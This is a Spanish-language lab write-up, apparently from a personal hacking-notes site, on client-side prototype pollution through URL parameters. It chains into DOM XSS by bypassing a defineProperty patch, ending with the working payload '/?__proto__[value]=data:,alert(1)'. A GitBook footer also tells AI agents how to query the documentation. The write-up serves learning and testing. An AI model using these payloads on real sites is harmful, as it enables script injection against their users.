> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/es/web/prototype-pollution/client-side-prototype-pollution-via-browser-apis.md).

# Prototype Pollution del lado del cliente mediante API del navegador

### Contaminación de prototipos del lado del cliente usando API del navegador

#### Contexto del laboratorio

Este laboratorio es vulnerable a un **XSS DOM** activado mediante un **contaminación de prototipos del lado del cliente**. / Los desarrolladores han identificado un posible gadget e intentado corregirlo, pero es posible **eludir el parche**.

Objetivo:

* Encontrar un **origen** para añadir propiedades arbitrarias a `Object.prototype`
* Identificar un **propiedad gadget** que conduce a la ejecución de JavaScript
* Combinar ambas para desencadenar `alert()`

### 1) Origen: `Object.prototype` Contaminación a través de la URL

#### Inyección desde la cadena de consulta

La contaminación se prueba mediante la URL:

```javascript
/?__proto__[foo]=bar
```

#### Control en la consola

En la consola del navegador:

```javascript
console.log({}.foo)
```

Resultado: `bar`/ Esto confirma que se logra inyectar una propiedad en el prototipo global.

<figure><img src="/files/85df7d0c4519aa226f77e1d9647271250f386d10" alt=""><figcaption></figcaption></figure>

### 2) Comprender el impacto: Cambiar el comportamiento de los objetos

Ejemplo de modificación del prototipo mediante un objeto:

```javascript
const jordan = {
}

jordan.__proto__.country = "Andorra"
```

<figure><img src="/files/39ca5873c8645e23f7438b2e41b363e9ce547690" alt=""><figcaption></figcaption></figure>

Luego:

```bash
console.log({}.country)
```

Todos los objetos ahora heredan `country`, lo que muestra el efecto general de la contaminación.

<figure><img src="/files/6bca029ab591d82f8fa5e421e719e4e0a48889bd" alt=""><figcaption></figcaption></figure>

### 3) Gadget: Carga dinámica de un script mediante una propiedad heredada

El archivo interesante es:

`/resources/js/searchLoggerConfigurable.js`

```javascript
async function logQuery(url, params) {
    try {
        await fetch(url, {method: "post", keepalive: true, body: JSON.stringify(params)});
    } catch(e) {
        console.error("Failed storing query");
    }
}

async function searchLogger() {
    let config = {params: deparam(new URL(location).searchParams.toString()), transport_url: false};
    Object.defineProperty(config, 'transport_url', {configurable: false, writable: false});
    if(config.transport_url) {
        let script = document.createElement('script');
        script.src = config.transport_url;
        document.body.appendChild(script);
    }
    if(config.params && config.params.search) {
        await logQuery('/logger', config.params);
    }
}

window.addEventListener("load", searchLogger);
```

#### Comportamiento clave del script (resumen)

* Construye un objeto `config` que contiene:
* `params` (de la URL)
* `transport_url` inicializado en `false`
* Bloquea `config.transport_url` por `Object.defineProperty(... configurable:false, writable:false)`
* Luego:
* si `config.transport_url` es verdadero → crea un `<script>` y hace `script.src = config.transport_url`

#### ¿Por qué funciona a pesar del parche?

Como `transport_url` \*\* no está realmente definido con un valor utilizable\*\*, el código puede **encontrar un valor heredado del prototipo** (contaminado).

Así que, si inyectamos la propiedad correcta en `Object.prototype`, se utiliza como origen del script.

### 4) Explotación: Forzar `script.src` mediante el prototipo

#### Paso 1: Demostrar el gadget

Al inyectar:

```bash
/?__proto__[value]=bar
```

El navegador crea:

```javascript
<script src="bar"></script>
```

<figure><img src="/files/428a01a90d5c01638d380188e65ff45e3800b649" alt=""><figcaption></figcaption></figure>

`src` es controlable.

#### Paso 2: Ejecutar JavaScript mediante un `data:` URL

Carga útil final :

```javascript
/?__proto__[value]=data:,alert(1)
```

Resultado observado:

```javascript
<script src="data:,alert(1)"><div></div></script>
```

El navegador interpreta `data:,alert(1)` y ejecuta `alert(1)`: **XSS en el DOM con éxito**.

<figure><img src="/files/b37772e52d0a808e11743d458a8a709f498c141c" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/es/web/prototype-pollution/client-side-prototype-pollution-via-browser-apis.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
